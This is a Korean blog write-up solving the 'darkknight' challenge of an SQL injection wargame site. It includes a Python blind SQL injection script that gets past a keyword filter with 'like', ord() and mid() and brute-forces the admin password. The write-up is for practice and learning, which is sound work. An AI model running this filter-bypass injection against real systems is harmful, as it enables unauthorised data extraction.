[los.rubiya.kr] darkknight - Write up
2021. 8. 30. 14:02ㆍWargame CTF
문제
분석
비밀번호를 알아내야 할것 같습니다.
if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe");
여기서 ascii, substr, =을 필터링 합니다.
[SQL Injection] 필터링 우회 방법 모음 :: 끄적끄적 (tistory.com)
저번, goble 코드를 응용하여..
import requests
pw = ""
cookie = {"PHPSESSID":"cookieeeee"}
for i in range(1,9):
for j in range(32,128):
url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?no=1 or id like \"admin\" %26%26 ord(mid(pw,"+str(i)+",1)) like "+str(j)+"-- -"
res = requests.get(url,cookies=cookie)
#print(res.text)
if "Hello admin" in res.text:
pw += chr(j)
print(pw)
break
toooooo 기다려 보면.
비밀번호가 0b70ea1f라는 걸 알았습니다.
?pw=0b70ea1f 입력
정답
'Wargame CTF' 카테고리의 다른 글
[los.rubiya.kr] darkknight - Write up (0) | 2021.08.30 |
---|---|
[los.rubiya.kr] bugbear - Write up (0) | 2021.08.30 |
[webhacking.kr] old-15번 풀이(Write-up) (0) | 2021.08.29 |
[webhacking.kr] old-14번 풀이(Write-up) (0) | 2021.08.29 |
[webhacking.kr] old-24번 풀이(Write-up) (0) | 2021.08.29 |